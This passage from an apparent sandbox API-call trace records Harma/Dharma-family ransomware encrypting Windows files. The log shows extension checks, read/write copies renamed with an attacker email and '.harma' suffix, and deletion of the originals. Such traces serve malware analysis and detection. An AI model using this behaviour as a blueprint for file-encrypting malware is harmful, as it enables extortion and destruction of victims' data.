Shared\\THEMES14\\RIPPLE\\RIPPLE.INF") returned 73 [0135.623] lstrlenW (lpString=".zip") returned 4 [0135.623] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0135.623] lstrlenW (lpString=".rar") returned 4 [0135.623] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0135.623] lstrlenW (lpString=".bz2") returned 4 [0135.623] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0135.623] lstrlenW (lpString=".7z") returned 3 [0135.623] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0135.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF") returned 73 [0135.624] lstrlenW (lpString=".dbf") returned 4 [0135.624] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0135.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF") returned 73 [0135.624] lstrlenW (lpString=".1cd") returned 4 [0135.624] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0135.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF") returned 73 [0135.624] lstrlenW (lpString=".jpg") returned 4 [0135.624] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0135.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF") returned 73 [0135.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF") returned 73 [0135.624] lstrlenW (lpString=".doc") returned 4 [0135.624] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0135.624] lstrlenW (lpString=".docx") returned 5 [0135.624] lstrcmpiW (lpString1=".docx", lpString2="E.INF") returned -1 [0135.624] lstrlenW (lpString=".pdf") returned 4 [0135.624] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0135.624] lstrlenW (lpString=".xls") returned 4 [0135.624] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0135.624] lstrlenW (lpString=".xlsx") returned 5 [0135.624] lstrcmpiW (lpString1=".xlsx", lpString2="E.INF") returned -1 [0135.624] lstrlenW (lpString=".ppt") returned 4 [0135.624] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0135.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF") returned 73 [0135.624] lstrlenW (lpString=".zip") returned 4 [0135.625] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0135.625] lstrlenW (lpString=".rar") returned 4 [0135.625] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0135.625] lstrlenW (lpString=".bz2") returned 4 [0135.625] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0135.625] lstrlenW (lpString=".7z") returned 3 [0135.625] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0135.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF") returned 73 [0135.625] lstrlenW (lpString=".dbf") returned 4 [0135.625] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0135.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF") returned 73 [0135.625] lstrlenW (lpString=".1cd") returned 4 [0135.625] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0135.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF") returned 73 [0135.625] lstrlenW (lpString=".jpg") returned 4 [0135.625] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0135.625] lstrcmpiW (lpString1=".ELM", lpString2=".harma") returned -1 [0135.625] lstrlenW (lpString="RMNSQUE.ELM") returned 11 [0135.625] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0135.627] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=73271) returned 1 [0135.627] CloseHandle (hObject=0x21c) returned 1 [0135.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm")) returned 0x20 [0135.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0135.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM") returned 75 [0135.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM") returned 75 [0135.627] lstrlenW (lpString=".doc") returned 4 [0135.627] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0135.627] lstrlenW (lpString=".docx") returned 5 [0135.627] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1 [0135.627] lstrlenW (lpString=".pdf") returned 4 [0135.627] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0135.627] lstrlenW (lpString=".xls") returned 4 [0135.628] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0135.628] lstrlenW (lpString=".xlsx") returned 5 [0135.628] lstrcmpiW (lpString1=".xlsx", lpString2="E.ELM") returned -1 [0135.628] lstrlenW (lpString=".ppt") returned 4 [0135.628] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0135.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM") returned 75 [0135.628] lstrlenW (lpString=".zip") returned 4 [0135.628] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0135.628] lstrlenW (lpString=".rar") returned 4 [0135.628] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0135.628] lstrlenW (lpString=".bz2") returned 4 [0135.628] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0135.628] lstrlenW (lpString=".7z") returned 3 [0135.628] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0135.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM") returned 75 [0135.628] lstrlenW (lpString=".dbf") returned 4 [0135.628] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0135.892] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0135.946] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\DVDMaker.exe" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\DVDMaker.exe.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0136.021] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\OmdBase.dll" (normalized: "c:\\program files\\dvd maker\\omdbase.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\OmdBase.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\omdbase.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0136.022] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\OmdProject.dll" (normalized: "c:\\program files\\dvd maker\\omdproject.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\OmdProject.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\omdproject.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0136.023] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Pipeline.dll" (normalized: "c:\\program files\\dvd maker\\pipeline.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\Pipeline.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\pipeline.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0136.024] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\PipeTran.dll" (normalized: "c:\\program files\\dvd maker\\pipetran.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\PipeTran.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\pipetran.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0136.061] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0136.063] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0136.063] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0136.065] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.065] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0136.340] GetLastError () returned 0x0 [0136.340] ReadFile (in: hFile=0x21c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0xa2b58, lpOverlapped=0x0) returned 1 [0136.489] WriteFile (in: hFile=0x338, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xa2b60, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xa2b60, lpOverlapped=0x0) returned 1 [0136.504] ReadFile (in: hFile=0x21c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.504] WriteFile (in: hFile=0x338, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xea, lpOverlapped=0x0) returned 1 [0136.504] SetEndOfFile (hFile=0x338) returned 1 [0136.504] CloseHandle (hObject=0x338) returned 1 [0136.504] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.504] SetEndOfFile (hFile=0x21c) returned 1 [0136.744] CloseHandle (hObject=0x21c) returned 1 [0136.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0136.746] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll")) returned 1 [0136.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0136.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0136.747] lstrlenW (lpString=".doc") returned 4 [0136.747] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0136.747] lstrlenW (lpString=".docx") returned 5 [0136.747] lstrcmpiW (lpString1=".docx", lpString2="v.rll") returned -1 [0136.747] lstrlenW (lpString=".pdf") returned 4 [0136.747] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0136.748] lstrlenW (lpString=".xls") returned 4 [0136.748] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0136.748] lstrlenW (lpString=".xlsx") returned 5 [0136.748] lstrcmpiW (lpString1=".xlsx", lpString2="v.rll") returned -1 [0136.748] lstrlenW (lpString=".ppt") returned 4 [0136.748] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0136.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0136.748] lstrlenW (lpString=".zip") returned 4 [0136.748] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0136.748] lstrlenW (lpString=".rar") returned 4 [0136.748] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0136.748] lstrlenW (lpString=".bz2") returned 4 [0136.748] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0136.748] lstrlenW (lpString=".7z") returned 3 [0136.748] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0136.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0136.748] lstrlenW (lpString=".dbf") returned 4 [0136.748] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0136.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0136.748] lstrlenW (lpString=".1cd") returned 4 [0136.748] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0136.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0136.748] lstrlenW (lpString=".jpg") returned 4 [0136.748] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0136.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0136.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0136.749] lstrlenW (lpString=".doc") returned 4 [0136.749] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0136.749] lstrlenW (lpString=".docx") returned 5 [0136.749] lstrcmpiW (lpString1=".docx", lpString2="v.rll") returned -1 [0136.749] lstrlenW (lpString=".pdf") returned 4 [0136.749] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0136.749] lstrlenW (lpString=".xls") returned 4 [0136.749] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0136.749] lstrlenW (lpString=".xlsx") returned 5 [0136.749] lstrcmpiW (lpString1=".xlsx", lpString2="v.rll") returned -1 [0136.749] lstrlenW (lpString=".ppt") returned 4 [0136.749] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0136.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0136.749] lstrlenW (lpString=".zip") returned 4 [0136.749] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0136.749] lstrlenW (lpString=".rar") returned 4 [0136.750] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0136.750] lstrlenW (lpString=".bz2") returned 4 [0136.750] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0136.750] lstrlenW (lpString=".7z") returned 3 [0136.750] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0136.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0136.750] lstrlenW (lpString=".dbf") returned 4 [0136.750] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0136.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0136.750] lstrlenW (lpString=".1cd") returned 4 [0136.750] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0136.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0136.750] lstrlenW (lpString=".jpg") returned 4 [0136.750] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0136.750] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0136.750] lstrlenW (lpString="EAST_01.MID") returned 11 [0136.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0137.361] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=6165) returned 1 [0137.361] CloseHandle (hObject=0x344) returned 1 [0137.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid")) returned 0x20 [0137.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0137.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0137.362] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.362] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0138.740] GetLastError () returned 0x0 [0138.740] ReadFile (in: hFile=0x344, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x1815, lpOverlapped=0x0) returned 1 [0138.742] WriteFile (in: hFile=0x350, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x1820, lpOverlapped=0x0) returned 1 [0138.744] ReadFile (in: hFile=0x344, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0138.744] WriteFile (in: hFile=0x350, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xea, lpOverlapped=0x0) returned 1 [0138.744] SetEndOfFile (hFile=0x350) returned 1 [0138.744] CloseHandle (hObject=0x350) returned 1 [0138.744] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0138.744] SetEndOfFile (hFile=0x344) returned 1 [0138.747] CloseHandle (hObject=0x344) returned 1 [0138.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0138.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid")) returned 1 [0138.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0138.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0138.821] lstrlenW (lpString=".doc") returned 4 [0138.821] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0138.821] lstrlenW (lpString=".docx") returned 5 [0138.821] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0138.821] lstrlenW (lpString=".pdf") returned 4 [0138.821] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0138.821] lstrlenW (lpString=".xls") returned 4 [0138.821] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0138.821] lstrlenW (lpString=".xlsx") returned 5 [0138.821] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0138.821] lstrlenW (lpString=".ppt") returned 4 [0138.821] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0138.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0138.821] lstrlenW (lpString=".zip") returned 4 [0138.821] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0138.821] lstrlenW (lpString=".rar") returned 4 [0138.821] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0138.821] lstrlenW (lpString=".bz2") returned 4 [0138.822] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0138.822] lstrlenW (lpString=".7z") returned 3 [0138.822] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0138.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0138.822] lstrlenW (lpString=".dbf") returned 4 [0138.822] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0138.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0138.822] lstrlenW (lpString=".1cd") returned 4 [0138.822] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0138.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0138.822] lstrlenW (lpString=".jpg") returned 4 [0138.822] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0138.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0138.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0138.822] lstrlenW (lpString=".doc") returned 4 [0138.822] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0138.822] lstrlenW (lpString=".docx") returned 5 [0138.822] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0138.822] lstrlenW (lpString=".pdf") returned 4 [0138.822] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0138.822] lstrlenW (lpString=".xls") returned 4 [0138.822] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0138.822] lstrlenW (lpString=".xlsx") returned 5 [0138.822] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0138.822] lstrlenW (lpString=".ppt") returned 4 [0138.822] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0138.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0138.822] lstrlenW (lpString=".zip") returned 4 [0138.822] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0138.822] lstrlenW (lpString=".rar") returned 4 [0138.822] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0138.822] lstrlenW (lpString=".bz2") returned 4 [0138.823] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0138.823] lstrlenW (lpString=".7z") returned 3 [0138.823] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0138.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0138.823] lstrlenW (lpString=".dbf") returned 4 [0138.823] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0138.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0138.823] lstrlenW (lpString=".1cd") returned 4 [0138.823] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0138.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0138.823] lstrlenW (lpString=".jpg") returned 4 [0138.823] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0138.823] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0138.823] lstrlenW (lpString="FINCL_01.MID") returned 12 [0138.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 